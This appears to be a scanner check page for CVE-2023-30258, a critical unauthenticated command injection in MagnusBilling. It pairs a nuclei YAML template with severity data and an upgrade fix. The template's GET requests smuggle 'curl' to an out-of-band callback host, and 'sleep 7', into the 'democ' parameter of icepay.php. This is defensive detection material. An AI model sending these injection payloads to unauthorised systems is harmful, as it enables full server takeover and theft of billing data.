MagnusBilling - Remote Code Execution

criticalseverity

9.8CVSS score

94.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Command Injection vulnerability in MagnusSolution magnusbilling 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request.

Impact

Unauthenticated attackers can execute arbitrary OS commands on the MagnusBilling server, leading to complete system compromise and potential access to all billing data and customer information.

Fix

Upgrade to the latest patched version of MagnusBilling or apply vendor-provided security updates.

How to confirm it

Send: GET {{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};curl%20{{interactsh-url}};%23
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl" AND status 200
Send: GET {{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};sleep%207;#
Positive when: duration >= 7 and len(body)==0 and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-30258 -u <target>

The full check

id: CVE-2023-30258

info:
  name: MagnusBilling - Remote Code Execution
  author: gy741,mananispiwpiw
  severity: critical
  description: |
    Command Injection vulnerability in MagnusSolution magnusbilling 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands on the MagnusBilling server, leading to complete system compromise and potential access to all billing data and customer information.
  remediation: |
    Upgrade to the latest patched version of MagnusBilling or apply vendor-provided security updates.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30258
    - https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258
    - http://packetstormsecurity.com/files/175672/MagnusBilling-Remote-Command-Execution.html
    - https://github.com/magnussolution/magnusbilling7/commit/ccff9f6370f530cc41ef7de2e31d7590a0fdb8c3
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30258
    cwe-id: CWE-78
    epss-score: 0.9425
    epss-percentile: 0.9985
    cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: magnussolution
    product: magnusbilling
    shodan-query: http.html:"magnusbilling"
    fofa-query: body="magnusbilling"
  tags: cve,cve2023,packetstorm,magnusbilling,rce,oast,unauth,intrusive,magnussolution,vkev,vuln

flow: http(1) || http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};curl%20{{interactsh-url}};%23"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};sleep%207;#" # For internal/blind environments

    matchers:
      - type: dsl
        dsl:
          - "duration >= 7"
          - 'len(body)==0'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from